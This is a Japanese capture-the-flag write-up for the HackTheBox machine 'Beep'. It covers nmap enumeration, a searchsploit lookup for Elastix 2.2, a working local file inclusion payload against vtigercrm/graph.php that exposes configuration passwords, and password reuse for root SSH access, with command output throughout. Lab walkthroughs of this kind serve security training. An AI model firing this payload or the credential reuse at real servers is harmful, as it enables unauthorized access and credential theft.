【HackTheBox】Beep - Writeup -


【HackTheBox】Beep


ポート列挙 (nmap enumeration)

map -T5 --min-rate 10000 10.10.10.7
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
443/tcp  open  https
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql
4445/tcp open  upnotifyp

基本的なポートがわかったので、-A(詳細オプション)でさらに多くの情報を調べます。

awk '{print $1}' | grep -o '[0-9]\+' | sed -z 's/\n/,/g' | sed 's/.$//g'

以上のコマンドで出てきたポート番号をすらっと整頓できます。

nmap -p 22,25,80,110,111,143,443,993,995,3306,4445 -A 10.10.10.7
22/tcp   open  ssh        OpenSSH 4.3 (protocol 2.0)                                                                                
| ssh-hostkey:                                                                                                                      
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)                                                                      
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)                                                                      
25/tcp   open  smtp       Postfix smtpd                           
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
80/tcp   open  http       Apache httpd 2.2.3                      
|_http-server-header: Apache/2.2.3 (CentOS)                       
|_http-title: Did not follow redirect to https://10.10.10.7/                                                                        
|_https-redirect: ERROR: Script execution failed (use -d to debug)                                                                  
110/tcp  open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4                                                              
|_pop3-capabilities: EXPIRE(NEVER) AUTH-RESP-CODE LOGIN-DELAY(0) APOP IMPLEMENTATION(Cyrus POP3 server v2) TOP USER RESP-CODES UIDL STLS PIPELINING
111/tcp  open  rpcbind    2 (RPC #100000)                         
143/tcp  open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4                                                              
|_imap-capabilities: RENAME THREAD=REFERENCES RIGHTS=kxte Completed URLAUTHA0001 X-NETSCAPE QUOTA CONDSTORE LIST-SUBSCRIBED LISTEXT ACL CATENATE STARTTLS IMAP4rev1 ANNOTATEMORE THREAD=ORDEREDSUBJECT MULTIAPPEND OK ID UNSELECT SORT BINARY MAILBOX-REFERRALS UIDPLUS CHILDREN IMAP4 LITERAL+ ATOMIC NO SORT=MODSEQ NAMESPACE IDLE      
443/tcp  open  ssl/https?                                         
|_ssl-date: 2020-07-11T10:55:40+00:00; +17s from scanner time.                                                                      
993/tcp  open  ssl/imap   Cyrus imapd                             
|_imap-capabilities: CAPABILITY                                   
995/tcp  open  pop3s?                                             
3306/tcp open  mysql      MySQL (unauthorized)                                                                                      
4445/tcp open  upnotifyp?      

予想

  1. smtp->imapとpop3があるので、メールサーバーがある。
  2. http/httpsのウェブサイトがある。
  3. sshでウェブサイト管理をしている模様。
  4. mysqlで何らかのデータを管理している。

Web

Elastixというサービスをホストしているウェブサイトであった。

---Elastix ---
Elastixは、IP PBX、電子メール、IM、FAX、およびコラボレーション機能を統合する統合コミュニケーションサーバーソフトウェアです。 Webインターフェイスがあり、予測ダイヤル機能を備えたコールセンターソフトウェアなどの機能が含まれています。

というわけで、色々なサービスが稼働していたわけみたい。

よくみてみると、2011年題のファイルアップロードが多いので、バージョンを調べる。

• 2011-11-05: Distribution Release: Elastix 2.2

#searchspoloitで脆弱性のあるソフトウェアを調べる
searchsploit elastix

Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
#スクリプトの中身から取り出した攻撃コード
\#/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action


---LFI---
ローカルファイルインクルードは、外部ファイルの読み込みではなく
サーバー内のファイルを不正に読み込んだり、意図しない動作を起こして脆弱性を発生させたりします。

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

ブラウザでコード注入ぅう!

ページソースを見る|view-source:https://*
とすると、整頓されたコードがみれてみやすくなります。

AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE

使えそうななユーザーは admin:jEhdIekWmdjE
ハッシュタグ#でコメントアウトされてないので、現行ユーザの可能性。


ログイン成功。

しかし、リバースシェルをアップロードする場所がなかったのでsshで試してみる。

SSH

ユーザーはadminで最初試したが、失敗したのでrootでログインしてみる。

➜  ~ ssh [email protected]
[email protected]'s password: 
Last login: Tue Jul 16 11:45:47 2019

Welcome to Elastix 
----------------------------------------------------

To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7

[root@beep ~]# ls
anaconda-ks.cfg        install.log         postnochroot  webmin-1.570-1.noarch.rpm
elastix-pr-2.2-1.i386.rpm  install.log.syslog  root.txt
[root@beep ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@beep ~]# whoami
root
[root@beep ~]# 

まとめ

  • LFI (Local File Inclusion)脆弱性についての実践が出来た。
  • searchsploitでの脆弱性を調べる手順(バージョン確認->SearchSploit )